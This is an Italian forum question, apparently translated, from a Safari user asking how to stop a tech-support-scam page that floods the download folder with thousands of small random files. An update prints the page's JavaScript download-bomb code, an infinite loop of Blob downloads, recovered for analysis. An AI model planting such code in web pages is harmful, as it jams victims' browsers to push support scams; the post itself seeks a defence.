sfondo
Una nuova pagina di spam ha iniziato ad apparire in molti siti "discutibili" (siti di film, ecc.). Questa nuova pagina di spam rientra nella categoria di scansioni false, MacKeeper, "YOU HAVE A VIRUS", ecc. Categoria.
Problema
Il problema con questa nuova pagina è che invece di avere solo un popup, la pagina avvia effettivamente un download di file casuali da 2kb (non dannosi contiene solo testo casuale) ripetutamente ogni ~ 1ms. La cartella di download si riempie prima che tu possa chiudere la finestra e ti rimane l'eliminazione di oltre 1000 file. A differenza di un problema simile in cui uno spam di pagina fa apparire la finestra di dialogo di stampa, c'è poco tempo per reagire.
Tentativi di risoluzione dei problemi non riusciti
Ho provato a bloccare la cartella di download. Mentre ha impedito ai download di ... beh ... scaricarlo, appare una finestra di dialogo (vedi immagine). Di solito, potrei semplicemente chiudere questa finestra di dialogo, ma poiché il download viene tentato ogni ~ 1 ms, ogni volta che provo a chiudere la finestra viene visualizzata una nuova finestra di dialogo che mi impedisce di chiudere la finestra.
Forza la chiusura di Safari, che interrompe il download (dopo i download di 1k) ma poi perdo tutte le altre finestre
Modifica delle impostazioni in "Richiedi ogni download" nelle preferenze di Safari. Non funziona perché 1k di finestre di dialogo separate aperte mi impediscono di chiudere anche la scheda. Safari che si arresta in modo anomalo.
Domanda
Come posso impedire il download di spam in Safari?
AGGIORNARE:
Ecco il codice che causa il download (ottenuto disabilitando JavaScript e guardando manualmente il codice):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Nota: ho riscontrato alcuni problemi durante l'esecuzione di JS in una pagina personalizzata. Si è bloccato invece di essere scaricato. Sono stato in grado di emulare il download utilizzando una setInterval()
funzione che chiama una download
funzione.
Maggiori informazioni: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/